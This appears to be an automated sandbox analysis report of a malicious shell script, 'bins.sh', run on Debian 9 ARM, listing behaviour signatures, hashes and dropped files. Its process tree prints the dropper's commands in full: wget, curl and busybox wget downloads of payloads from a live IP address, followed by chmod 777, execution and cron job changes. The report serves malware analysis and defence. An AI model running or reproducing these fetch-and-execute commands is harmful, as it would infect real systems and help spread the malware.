Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    170s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/11/2024, 00:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241112-ak2ghstkfj
  • SHA256 a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2050) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:656
        • /usr/bin/wget
          wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Writes file to tmp directory
          PID:658
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:680
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • File and Directory Permissions Modification
          PID:685
        • /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          ./5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:686
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:688
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:690
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:692
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:693
              • /bin/rm
                rm 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
                2⤵
                  PID:699
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                  2⤵
                    PID:702
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                    2⤵
                      PID:704
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                      2⤵
                      • Writes file to tmp directory
                      PID:705
                    • /bin/chmod
                      chmod 777 LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                      2⤵
                      • File and Directory Permissions Modification
                      PID:800
                    • /tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                      ./LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                      2⤵
                      • Executes dropped EXE
                      PID:801
                    • /bin/rm
                      rm LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                      2⤵
                        PID:802
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                        2⤵
                          PID:804
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                          2⤵
                            PID:805
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                            2⤵
                            • Writes file to tmp directory
                            PID:808
                          • /bin/chmod
                            chmod 777 uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                            2⤵
                            • File and Directory Permissions Modification
                            PID:814
                          • /tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                            ./uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                            2⤵
                            • Executes dropped EXE
                            PID:816
                          • /bin/rm
                            rm uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                            2⤵
                              PID:817
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                              2⤵
                                PID:818
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:820

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
                                  • Path /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
                                  • Size 177KB
                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                                  • Path /tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                                  • Size 119KB
                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                                  • Path /tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                                  • Size 127KB
                                  • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.n0AefO
                                  • Path /var/spool/cron/crontabs/tmp.n0AefO
                                  • Size 210B
                                  • SHA256 197be8d99177adadf965a163f43eb1c5d478d5cdb3d4a52388011d5b8e273461
                                  • MD5 SHA1 SHA512
                                  Submit Download